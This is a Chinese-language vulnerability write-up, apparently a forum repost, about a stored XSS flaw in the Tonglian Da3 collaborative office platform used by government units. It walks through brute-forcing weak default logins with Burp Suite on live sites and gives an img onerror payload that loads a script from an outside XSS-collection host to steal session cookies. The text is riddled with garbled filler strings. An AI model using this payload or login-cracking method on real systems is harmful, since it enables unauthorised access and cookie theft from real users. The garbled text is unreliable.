同联Da3协同办公平台后台通用储存型xss漏洞

admin

* q- h% d' ?5 O! v( P 2 W, O2 I2 m" X. F- o! g* @" F 6 Y7 n, b6 Z$ v/ {% e, d1 d$ P5 d* H . n# e- d) a! k2 i" r& O

同联Da3协同办公平台后台通用储存型xss漏洞

1 ]' Q' v' r: w, I# }- {+ u

# V* |) G1 `. A 平台简介： 2 Q/ m! f, B% K# e% X+ G# j

$ A+ Q( Y$ ~; X

" y7 O5 l' r' \; @, h/ ?  

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
- d0 C* J o. K! o. `- Q' F# }: u同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 7 T& ~: w# | ?1 v W* j" w+ ?: ^

  / V, g! E( R" \' \- A% e) N

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

" t! Q$ L6 b6 s9 i! Y# i- \2 X

  6 P f# r6 k2 d3 J6 }

! I& D5 ?* }' _, P: g, C/ X6 i* F5 j

http://1.1.1.1:7197/cap-aco/#（案例2-） 4 \; b* K, e& h6 `7 s% X. K0 v

9 H( d5 u- g" s8 i: N2 f$ t

+ P$ K9 F0 U' _/ i5 E http://www.XXOO.com （案例1-官网网站） 2 I3 H$ S' k! N

$ b4 a+ y+ a/ W; @ 漏洞详情: 7 U Y# w0 y3 F! a2 V2 b1 Q

 案例一、 - ^: r# B& a P7 k$ h

$ @" ]7 @2 g% d

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 4 U: r& n: [8 l& e, `3 D

6 \: w( Z8 X* J9 Q8 M5 }3 i! E

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 4 s2 K3 _8 J1 v- G* ^

& f3 S: _' s! w6 h' J

  ' H7 ?& ?7 _) [

; h6 T0 m" }4 m

5 j Z# o) v! V0 a

% _) G" m& b/ ^4 P. r+ w

+ t4 W: j7 t& ?: ^ status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

) b J; B; z& L" f- f% D' Q l% A

  # V: W \: B3 k

+ W2 H5 M0 [) f+ g# @" g

) U/ X6 |5 ]! p) F" K

! n. l" d3 X/ y" p; r3 j' t+ m 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 : y; X3 c$ P/ F* I- N8 n9 _6 X. I8 A0 \

9 K! r3 c( ]' }4 p

9 p C/ E4 v# H5 z1 d  

2 k0 m$ [. f; p3 |1 [4 V

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

`! d0 ^0 c4 G( }0 E& r1 r

; }* i4 }# G) [

- B. _$ W2 J0 [5 Y! Y0 A

然后发送，接收cookie如图：

# T3 p# R* T: E! O9 l5 Q

) ~1 j( r- M2 N  

 

  * D! Q% W6 _6 ~# D( l, Q

4 e" d# _% X2 W5 [

# D& X9 O6 G: m8 X* |2 @ l1 o  

& l( _8 a, k* x' g

- v1 U5 n/ O3 E7 y

# g9 A) T; @6 A1 A2 u   % C' D0 x) y9 Q" Q

8 }2 Q* F+ z; _

4 N- N; m I7 C 案例2、 - {) ]2 ?& D4 P* q

前面步骤都一样，下面看效果图：

S. U3 h( a4 O# N* M8 N: y4 v1 F

1 k z3 Y {! R7 E$ w! d0 Q3 ^, e7 P

# L$ e7 }5 d7 |. ~8 X

) b4 g/ P7 ^/ F4 o

2 i6 m5 X% H: p& g0 Y, x( I4 M   # `1 @1 Z. z4 A, |6 W

i3 E/ F8 D& A% u! r# T# e! W  

% A5 E! G4 W W/ l6 R   , X/ l( O. u/ o) R- |8 K [

 

7 s! t" z* [# x9 w

) l; C# u' a5 t* r) u: K  

  / F& D: N9 t& J* [8 O8 M

. L' c2 F# f: g5 F3 A